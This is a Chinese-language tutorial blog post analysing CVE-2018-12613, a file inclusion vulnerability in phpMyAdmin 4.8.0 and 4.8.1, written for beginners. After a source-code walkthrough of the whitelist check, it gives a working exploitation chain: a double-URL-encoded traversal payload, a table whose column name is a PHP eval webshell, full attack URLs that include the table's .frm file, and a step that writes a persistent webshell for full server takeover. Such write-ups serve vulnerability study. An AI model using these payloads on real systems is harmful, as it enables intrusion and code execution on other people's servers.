小白也可以看懂的漏洞分析(CVE-2018-12613)

0.前言

漏洞編號CVE-2018-12613,這是一個在phpMyAdmin4.8.x(4.8.2之前)上發現的文件包含漏洞,攻擊者可以利用該漏洞在後臺進行任意的文件包含。也就也爲着攻擊者可以通過webshell直接拿下搭建了該服務的站點。本篇文章主要側重於對該漏洞的原理進行分析,並給出利用該漏洞的方法。並介紹了理解該漏洞的背景知識。並在此特別聲明本篇文章僅用於交流和討論,切勿用於非法用途。社會主義核心價值護體。

1.預備知識

1.1 什麼是文件包含?

當我們在訪問某個站點的時候,如果站點開放了用戶註冊和登錄的入口。那麼在正常情況下,當用戶在訪問每個頁面的時候,站點都會檢查當前登錄的用戶是否具有當頁面的權限。設想一下如果站點不對用戶的權限進行檢查,也就是說用戶可以訪問該站點的任意頁面,甚至可以查看別的用戶的用戶主頁等信息,這當然是不被允許的。因此對用戶訪問的每個頁面多進行用戶權限的檢查是網站必須執行的操作。

那麼我們設想一下應該如何實現該操作呢?是不是在每一個頁面中都寫一段檢查用戶權限的代碼。因爲檢查用戶的權限,執行的是相同的了邏輯操作,也就意味着每個頁面都會存在一段相同的代碼。這當然是一個不理想的狀態。程序員通常會將相同且頻繁調用的代碼提取出來作爲一個文件,在需要使用該段代碼的時候直接加載該文件即可。這樣寫出來的代碼更加的簡練和高效。這就是所謂的文件包含。文件包含是指在一個文件中調用另一個文件中的內容。值得一提的是,文件包含有一個特殊的特性,就是對於被包含的文件的文件,會忽略文件的後綴而直接將文件作爲可以執行的程序進行執行。以php程序爲例,程序員會通過

includerequireinclude_oncerequire_once

完成對目標文件的包含。

其實通過上面的描述可以看出來文件包含是程序的一種特性,而並不是一種漏洞。但是別有用心的攻擊者就是利用了文件包含的特性,加上程序開發人員對文件包含的控制不夠嚴格,造成了任意的文件包含。也就是所攻擊者可以控制究竟包含哪一個文件。這是一件非常可怕的事情,設想一下,攻擊者通過文件包含執行了木馬程序,甚至就可以直接拿下這臺服務器。

1.2 windows系統的小技巧

我們先來了解一下windows系統的一個命令cd。該命令的全稱爲change directory,通過該命令的全稱可以推測該命令是用來改變工作目錄的。比如我當前位於目錄

C:\Users\Sisyphus

在當前目錄下有子目錄test,而我想進入該子目錄就可以輸入命令

cd test

也可以是

cd C:\Users\Sisyphus\test

也就是說該命令即支持相對路徑也支持絕對路徑。同時我們可以輸入

cd ..

進入上一級目錄中,這裏的…就是表示上一級目錄。如果我們進入test目錄後想要回到Sisyphus目錄中,就可以輸入上面的目錄退回Sisyphus目錄。接着我們看下面一條命令

cd fhdjsaklf/../

fhdjsaklf是隨意輸入的一串字符串,在當前目錄下並沒有該子目錄。但是我們會驚奇的發現該命令並沒有報錯反而居然執行成功了,但是我們的所在的目錄並沒有發生變化。

我們來仔細分析一下該命令,首先命令解釋器接收到該命令後從cd關鍵字知道該命令是用來改變工作目錄的,然後解析後面的目標目錄,它發現我們想進入fhdjsaklf目錄下的…目錄,也就是說進入fhdjsaklf後在跳會上一級目錄,而我們當前所在的目錄就是fhdjsaklf目錄的上一級目錄。因此解釋器判定我們想要就去的目錄就是我們當前所在的地方,所以他並沒有做任何工作,也沒有檢查fhdjsaklf是否真的存在。

2.漏洞原理分析

有了上面的基礎知識後,我們就可以進入本篇文章的重頭環節——漏洞的原理分析。

2.1 源碼分析

該漏洞在phpMyAdmin4.8.0和4.8.1中存在,這裏以phpMyAdmin的4.8.1版本爲例進行分析。首先我們要獲取phpMyAdmin4.8.1的源碼,當然沒有源碼也並不妨礙你讀懂該篇文章,與漏洞相關的重要的代碼都已經顯示在文章中。將我們的源碼使用seay(代碼審計工具)打開。因爲我們已經明確該漏洞是文件包含漏洞,所以直接在seay中全局搜索include關鍵字,發現代碼中存在大量的include。但是大部分的include都是類似於下面這種

include 'libraries/db_common.inc.php';

將包含的文件名或者路徑寫死在程序中,也就是說用戶無法控制包含的文件也就不存在文件包含漏洞。我們主要是尋找用戶可以控制文件路徑的include函數。本文討論的漏洞出現index.php文件的在下面的代碼中

include $_REQUEST['target'];

從代碼中可以看出,他會從客戶端接收數據,然後將數據指定的文件包含到程序中,顯然我們可以控制包含的文件。這便是我們要執行的目標代碼

接着仔細查看該段代碼出現的文件內容,查看如何能夠觸發文件包含,也就是說如何能夠讓程序執行到存在文件包含漏洞的代碼。從目標代碼往前查看,尋找die、exit這些能夠導致退出腳本的語句。我們在代碼中找到了如下的內容

if (! empty($_REQUEST['target'])
    && is_string($_REQUEST['target'])
    && ! preg_match('/^index/', $_REQUEST['target'])
    && ! in_array($_REQUEST['target'], $target_blacklist)
    && Core::checkPageValidity($_REQUEST['target'])
) {
    include $_REQUEST['target'];
    exit;
  }

可以看到我們要執行的目標代碼本身位於一個if判斷中,該if判斷中存在五個條件

條件編號 條件內容
條件1 !empty($_REQUEST[‘target’])
條件2 is_string($_REQUEST[‘target’])
條件3 !preg_match(’/^index/’, $_REQUEST[‘target’])
條件4 !in_array($_REQUEST[‘target’], $target_blacklist)
條件5 Core::checkPageValidity($_REQUEST[‘target’])

必須要同時滿足上面的5個條件纔可以執行我們的目標代碼。條件1表示來自客戶端的傳參的target字段值不可以爲空;條件2表示target字段的值必須要是字符串;條件3表示target字段的值不可以以index開頭。在條件4中出現了一個新的變量$target_blacklist,在條件5中有一個函數Core::checkPageValidity。接下來我們要研究這一個變量和一個函數。

根據該變量的命名可以推測,該變量應該是一個黑名單。在程序中找到了該變量的定義如下

$target_blacklist = array (
    'import.php', 'export.php'
);

可以看到變量$target_blacklist是一個數組,裏面存放的是兩個文件名。也就是說該變量確實是一個黑名單,條件4是判斷target的值是否在黑名單中,如果在黑名單中in_array函數就會爲真,而!in_array也就爲假。整個的if就會不成立,所以我們輸入的target的內容不可以爲import.php或者export.php。

弄清了變量的意思,接下來要看看函數

Core::checkPageValidity

的作用,在程序中找到該函數的定義如下

class Core
{
	//...
	public static function checkPageValidity(&$page, array $whitelist = [])
    {
        if (empty($whitelist)) {
            $whitelist = self::$goto_whitelist;
        }
        if (! isset($page) || !is_string($page)) {
            return false;
        }

        if (in_array($page, $whitelist)) {
            return true;
        }

        $_page = mb_substr(
            $page,
            0,
            mb_strpos($page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

        $_page = urldecode($page);
        $_page = mb_substr(
            $_page,
            0,
            mb_strpos($_page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

        return false;
    }
	//...
}

該函數是Core類的一個靜態方法。代碼的作者在代碼中對該函數的功能進行了描述,即該函數會根據白名單對target傳參進行審查,如果target的值在名單中該函數就會返回true。其中白名單存放在$whitelist變量中。

接下來我們來仔細的分析一下該函數的處理邏輯。可以看到在該函數中存在5個if判斷,分別是

判斷編號 判斷內容
判斷1 if(empty($whitelist))
判斷2 if(!isset($page)||! is_string($page))
判斷3 if(in_array($page, $whitelist))
判斷4 if(in_array($page, $whitelist))
判斷5 if(in_array($page, $whitelist))

因爲在函數中定義瞭如果$whitelist在傳參的時候爲缺省,就會直接置爲空值。

public static function checkPageValidity(&$page, array $whitelist = [])

所以第一個if判斷是在函數是對白名單進行初始化操作,原始的白名單內容存放在變量$goto_whitelist中,該變量的值爲

public static $goto_whitelist = array(
        'db_datadict.php',
        'db_sql.php',
        'db_events.php',
        //......
        'transformation_overview.php',
        'transformation_wrapper.php',
        'user_password.php',
    );

在執行完第一個判斷後,變量$whitelist中就存放了白名單的內容。判斷1只是完成白名單的初始化操作,與我們傳參的內容無關。接着看判斷2,

if (! isset($page) || !is_string($page))

該判斷是用來檢測我們target字段的值是否不爲空且類型爲字符串。後面三個判斷都是檢測taget字段的值是否在白名單中,如果在白名單中該函數會返回true。

 if (in_array($_page, $whitelist))

但是關鍵點在於如果不在白名單中該函數並沒有直接返回false,而是對target字段的值進行了處理然後再進行匹配。

判斷3是直接判斷target字段的值是否在白名單中,如果不在白名單中會執行下面的代碼

$_page = mb_substr(
            $page,
            0,
            mb_strpos($page . '?', '?')
        );

該段代碼會截取傳參之前的內容,比如我們傳入的內容是index.php?id=1,經過該函數處理後會變成index.php。然後將截取到的文件名與白名單進行匹配,也就是判斷4執行的內容。如果匹配成功返回true,匹配失敗接着對target的值進行處理,會執行下面的代碼

$_page = urldecode($page);
$_page = mb_substr(
$_page,
            0,
            mb_strpos($_page . '?', '?')
    );

該段代碼會對target的值進行URL解碼,然後對解碼後的內容截取?傳參之前的內容。在將截取到的內容與白名單進行匹配,也就是執行判斷5的內容,這是最後一個判斷。如果該判斷成立會返回true。所有的判斷都不成立就會返回false。

2.2 構造payload

2.2.1 設想一:target=db_sql.php?/…/

如果我們想成功執行

include $_REQUEST['target'];

必須要使我們的target傳參同時滿足以下5個條件

條件編號 條件內容 說明
條件1 !empty($_REQUEST[‘target’]) target的值不可以爲空
條件2 is_string($_REQUEST[‘target’]) target的值的類型必須爲字符串
條件3 !preg_match(’/^index/’, $_REQUEST[‘target’]) target的值不能以index開頭
條件4 !in_array($_REQUEST[‘target’], $target_blacklist) target的值不能爲import.php, export.php
條件5 Core::checkPageValidity($_REQUEST[‘target’]) target的值必須能夠成功匹配白名單

在條件5的函數中又存在5條判斷

判斷編號 判斷內容 說明
判斷1 if(empty($whitelist)) 白名單不可以爲空
判斷2 if(!isset($page)||!is_string($page)) target的值不可以爲空且類型爲字符串
判斷3 if(in_array($page, $whitelist)) 將原生的target值與白名單進行匹配
判斷4 if(in_array($page, $whitelist)) 將去掉傳參的targte的值與白名單進行匹配
判斷5 if(in_array($page, $whitelist)) 將URL解碼並去掉傳參的target的值域白名單進行匹配

前兩條判斷可以很順利的通過,在第三條判斷中不存在操作空間,因爲他會直接將我們傳參的內容與白名單進行匹配。在第四條判斷中,我們可以構想如下的payload

target=db_sql.php?/../

該payload表示的路徑是當前工作目錄,如果該payload可以在include中成功的被包含,那麼我們就可以以當前目錄爲依據完成文件包含。其中db_sql.php是白名單中的文件,顯然該target的值可以順利的通過前4個條件,

! empty($_REQUEST['target'])
&& is_string($_REQUEST['target'])
&& ! preg_match('/^index/', $_REQUEST['target'])
&& ! in_array($_REQUEST['target'], $target_blacklist)

在執行第5個條件的時候

&& Core::checkPageValidity($_REQUEST['target'])

進入checkPageValidity函數函數中執行5個判斷,

if(empty($whitelist))
if(!isset($page)||!is_string($page))
if(in_array($page, $whitelist))
if(in_array($page, $whitelist))
if(in_array($page, $whitelist)) 

判斷1與我們輸入的內容無關,判斷2顯然可以順利通過,

if(empty($whitelist))
if(!isset($page)||!is_string($page))

在執行判斷3與白名單進行匹配的時候會匹配失敗,然後執行判斷4,判斷4會去除?之後的內容,target的值從db_sql.php?/…/變成了db_sql.php,與白名單匹配成功了,直接返回true,也就讓五個條件都成立,

! empty($_REQUEST['target'])
&& is_string($_REQUEST['target'])
&& ! preg_match('/^index/', $_REQUEST['target'])
&& ! in_array($_REQUEST['target'], $target_blacklist)
&& Core::checkPageValidity($_REQUEST['target'])

然後執行我們的目標代碼。
在執行checkPageValidity函數的時候並沒有修改target的值,在對target的值進行處理後再匹配時,使用_page變量保存的處理的後的值,而沒有直接修改target的值,所target的內容依據是我嗯輸入的db_sql.php?/…/。但是include所使用的文件的路徑中不可以包含特殊字符,而我們使用了?,所以依舊無法完成文件包含。

2.2.2 設想二:target=db_sql.php%253f/…/

雖然設想一沒有完成文件包含。但是我們可以利用判斷5中會進行URL解碼來進行文件的包含。當我們使用GET進行傳參的時候瀏覽器會對GET傳遞的數據進行URL編碼,數據到達服務器後會進行URL解碼。比如我們使用GET傳遞一個單引號(’),瀏覽器會將其編碼爲%27,然後傳遞給服務器端,服務器接收到數據後會進行URL解碼,獲得傳遞的值(’’)。但是如果我們手動在數據包中的將%27修改爲%2527,那麼服務器端接收到%2527的時候會進行一個URL解碼,解碼後變成了%27(%25是%的URL編碼)。而站點的代碼中又調用了urldecode函數對傳參的內容進行URL解碼,在第二次解碼後,我們傳遞的內容變成了單引號(%27是單引號的URL編碼)。也就是說客戶端發送來的數據服務端進行了兩次URL解碼。

而我們這裏的判斷5中就調用urldecode函數。因此我們可以嘗試構造下面的payload

target=db_sql.php%253f/../

首先服務器接收到該傳參後進行一次URL解碼,變成

target=db_sql.php%3f/../

該值可以順利的通過前4個條件的判斷,

! empty($_REQUEST['target'])
&& is_string($_REQUEST['target'])
&& ! preg_match('/^index/', $_REQUEST['target'])
&& ! in_array($_REQUEST['target'], $target_blacklist)

然後進入checkPageValidity函數,在執行判斷3、4的時候均匹配失敗(判斷3匹配原聲target的值,判斷4匹配去掉傳參後的target的值),於是執行判斷5,在條件5中會對該值進行URL解碼,變成了

target=db_sql.php?/../
#%3f是?的URL編碼

解碼完成後,會去除去除傳參,最終變成了

target=db_sql.php

能夠成功的匹配白名單。因此條件5也成立,

&& Core::checkPageValidity($_REQUEST['target'])

便能夠執行目標代碼

include $_REQUEST['target'];

雖然在checkPageValidity函數中對target的值進行了一系列處理,但是並沒有影響到target真正的值,因爲在使用處理後的target進行白名單匹配的時候,都是使用了一個新的變量接受target的值,而並沒有直接影響target本來的值,所以target的值依舊爲

target=db_sql.php?/../

現在target值並沒有攜帶include無法接受的特殊符號,因此該payload可以成功跳回當前目錄,我們就可以在後面添加任意的路徑來包含任意的文件。

3.漏洞利用

知道了站點存在文件包含漏洞,也明確了繞過過濾的辦法,接下來要解決的就是如何利用該漏洞。也可以基本設想就是在站點上傳一個木馬文件,然後通過文件包含漏洞包含該文件,也就是登錄執行了木馬程序,我們也就可以成功的getshell。

有了上面的基本設想,便可以開始下面的操作了。首先這裏是一個後臺文件包含的漏洞,因此首先我們需要登錄phpMyAdmin。在這裏我們無法上傳文件,但是我們可以利用MySQL的數據在站點寫入木馬。

首先要知道MySQL中存放的數據都是以文件的形式存放在服務器上的,我們可以在服務器上創建一個表,該表包含只有一個字段,而這個字段名就是一個木馬程序

<?php @eval($_GET['cmd']);?>

或者是

<?php file_put_contents('1.php','<?php eval($_REQUEST[cmd])?>');?>

當我們將表的字段名設置爲木馬後,數據庫會創建一個文件,文件中會包含該句代碼,也就相當於我們在站點寫入了一木馬文件。這裏使用第一個程序,創建一個表然後將表的字段名設置爲木馬

CREATE TABLE `test`.`wjbh` ( `<?php @eval($_GET['cmd']);?>` INT);

完成了木馬文件的寫入後,我們要使用該漏洞來包含我們的木馬文件。首先我們將頁面的URL修改爲

http://ip/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../../../phpstudy/mysql/data/test/wjbh.frm&cmd=phpinfo();

因爲漏洞是出現在index.php文件中,我們對該文件進行傳參

target=db_sql.php%253f/../../../../../../../../phpstudy/mysql/data/test/wjbh.frm&cmd=phpinfo()

當index.php接收到target的傳參的時候,會進行過濾。根據我們前面的分析,這裏所使用的路徑可以繞過站點的過濾,順利的執行到include代碼。當include包含該文件的時候會根據文件路徑去尋找文件。這裏的

db_sql.php%253f/..

表示的就是當前的工作目錄,然後不斷的通過’…'跳到上一級目錄,無論跳了多少次,最多也只會回到根目錄,因此我們可以多跳幾次確保進入根目錄中,然後在加上木馬文件的路徑

phpstudy/mysql/data/test/wjbh.frm
#該路徑是存放我們之前創建的表的文件

當程序包含了我們的木馬程序後,會執行我們的木馬程序,我們在URL中又對木馬程序進行了傳參

cmd=phpinfo()

木馬程序會將我們傳參的內容當作代碼執行,因此我們訪問該URL後頁面會顯示phpinfo的內容,顯示如下
在這裏插入圖片描述

說明該木馬可以成功的執行,但是要我們要執行該木馬文件需要登錄phpMyAdmin,登錄的步驟會給我們的後續操作代碼不變,我們希望可以直接訪問木馬文件。因此我們可以控制該木馬寫入一個新的木馬文件,將URL修改爲

http://ip/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../../../phpstudy/mysql/data/zgj/wjbh.frm&cmd= file_put_contents('8.php','<?php @eval($_REQUEST[cmd])?>');

也就是想木馬文件傳參

file_put_contents('1.php','<?php @eval($_REQUEST[cmd])?>');

木馬文件會執行我們傳遞的參數,然後會在站點的根目錄下寫入一個新的木馬文件,我們可以通過下面的URL直接訪問到該木馬文件。

http://ip/phpmyadmin/1.php

有了該木馬文件後,我們可以使用菜刀或者其他工具鏈接該站點,直接拿下站點的服務器,爲所欲爲。

4.More

更多內容歡迎訪問西西弗斯的巨石

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章